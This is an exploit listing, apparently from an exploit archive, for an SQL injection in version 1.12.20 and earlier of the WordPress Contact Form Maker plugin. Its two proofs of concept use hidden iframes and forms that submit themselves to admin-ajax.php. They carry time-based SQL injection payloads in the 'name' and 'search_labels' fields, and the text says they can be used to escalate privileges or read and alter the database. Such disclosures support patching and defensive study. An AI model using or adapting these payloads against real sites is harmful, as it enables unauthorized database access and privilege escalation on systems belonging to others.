[align=center]WordPress Contact Form Maker Plugin 1.12.20 - SQL Injection Vulnerability
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# Title: WordPress Contact Form Maker Plugin 1.12.20 - SQL Injection # Author: Neven Biruski # Software: WordPress Contact Form Maker plugin # Software link: https://wordpress.org/plugins/contact-form-maker/ # Version: 1.12.20 and below # The easiest way to reproduce the SQL injection vulnerabilities is to # open the presented HTML/JavaScript snippet in your browser while being # logged in as administrator or another user that is authorized to # access the plugin settings page. Users that do not have full # administrative privileges could abuse the database access the # vulnerabilities provide to either escalate their privileges or obtain # and modify database contents they were not supposed to be able to. # PoC 1 <iframe style="display:none" name="invisible"></iframe> <form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping_fmc&task=db_table_struct" target="invisible"> <input type="hidden" name="name" value="wp_users WHERE 42=42 AND SLEEP(42)--;"/> </form> <script> document.getElementById("form").submit(); sleep(3000); </script> # PoC 2 <iframe style="display:none" name="invisible"></iframe> <form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=1&send_header=0&action=generete_csv_fmc&limitstart=0" target="invisible"> <input type="hidden" name="search_labels" value="(SELECT * FROM (SELECT(SLEEP(42)))XXX)"/> </form> <script> document.getElementById("form").submit(); sleep(3000); </script> # 0day.today [2018-06-10] #